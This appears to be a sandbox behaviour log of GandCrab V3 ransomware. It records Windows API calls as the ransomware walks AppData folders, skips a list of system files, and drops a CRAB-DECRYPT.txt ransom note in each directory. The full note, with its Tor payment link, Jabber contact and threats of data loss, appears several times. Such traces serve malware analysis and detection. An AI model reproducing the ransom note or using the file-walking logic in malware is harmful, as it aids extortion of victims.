	[0111.606] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\CRAB-DECRYPT.txt"
	[0111.606] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.606] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\CRAB-DECRYPT.txt") returned 68
	[0111.606] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\CRAB-DECRYPT.txt") returned 68
	[0111.606] lstrlenW (lpString=".txt") returned 4
	[0111.606] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.606] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.606] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\CRAB-DECRYPT.txt") returned 68
	[0111.607] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\CRAB-DECRYPT.txt") returned 68
	[0111.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.607] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.607] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.607] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0111.607] FindClose (in: hFindFile=0xda6f30 | out: hFindFile=0xda6f30) returned 1
	[0111.607] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0111.607] lstrcmpW (lpString1="MS Project", lpString2=".") returned 1
	[0111.607] lstrcmpW (lpString1="MS Project", lpString2="..") returned 1
	[0111.608] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project"
	[0111.608] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\"
	[0111.608] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.608] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.608] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.608] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.608] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.608] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.608] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.609] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\\\CRAB-DECRYPT.txt") returned 76
	[0111.609] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0111.610] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.610] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0111.611] CloseHandle (hObject=0x3f0) returned 1
	[0111.611] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.611] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned 59
	[0111.611] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*"
	[0111.612] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xda7070
	[0111.612] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.612] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.612] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.612] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.612] FindNextFileW (in: hFindFile=0xda7070, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0111.612] lstrcmpW (lpString1="16", lpString2=".") returned 1
	[0111.612] lstrcmpW (lpString1="16", lpString2="..") returned 1
	[0111.612] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16"
	[0111.612] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\"
	[0111.612] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.612] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.612] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.613] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.613] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.613] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.613] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.613] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.613] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.613] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.613] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\\\CRAB-DECRYPT.txt") returned 79
	[0111.613] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0111.614] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.614] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0111.615] CloseHandle (hObject=0x3f4) returned 1
	[0111.615] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.616] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\") returned 62
	[0111.616] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*"
	[0111.616] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda7370
	[0111.616] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.616] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.616] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.616] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.616] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.616] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.616] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.616] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\CRAB-DECRYPT.txt"
	[0111.616] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.616] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\CRAB-DECRYPT.txt") returned 78
	[0111.616] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\CRAB-DECRYPT.txt") returned 78
	[0111.616] lstrlenW (lpString=".txt") returned 4
	[0111.616] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.617] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.617] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.617] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\CRAB-DECRYPT.txt") returned 78
	[0111.617] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\CRAB-DECRYPT.txt") returned 78
	[0111.617] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.617] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.617] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0111.617] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0111.617] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0111.617] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0111.617] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0111.617] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0111.617] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0111.617] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.617] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.617] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0111.618] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0111.618] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\", lpString2="en-US" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US"
	[0111.618] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\"
	[0111.618] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.618] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0111.618] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0111.618] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0111.618] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0111.618] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.618] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0111.618] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0111.618] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0111.618] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0111.618] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0111.618] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0111.618] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.619] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\\\CRAB-DECRYPT.txt") returned 85
	[0111.619] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\ms project\\16\\en-us\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0111.622] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0111.622] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0111.623] CloseHandle (hObject=0x3f8) returned 1
	[0111.623] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.624] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\") returned 68
	[0111.624] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*"
	[0111.624] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xda6f30
	[0111.624] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0111.624] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.624] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0111.624] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0111.624] FindNextFileW (in: hFindFile=0xda6f30, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0111.624] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0111.624] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0111.624] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\CRAB-DECRYPT.txt"
	[0111.624] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.624] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\CRAB-DECRYPT.txt") returned 84
	[0111.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\CRAB-DECRYPT.txt") returned 84
	[0111.625] lstrlenW (lpString=".txt") returned 4
	[0111.625] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.625] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0111.625] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\CRAB-DECRYPT.txt") returned 84
	[0111.625] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16\\en-US\\CRAB-DECRYPT.txt") returned 84
	[0111.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0111.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0111.625] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
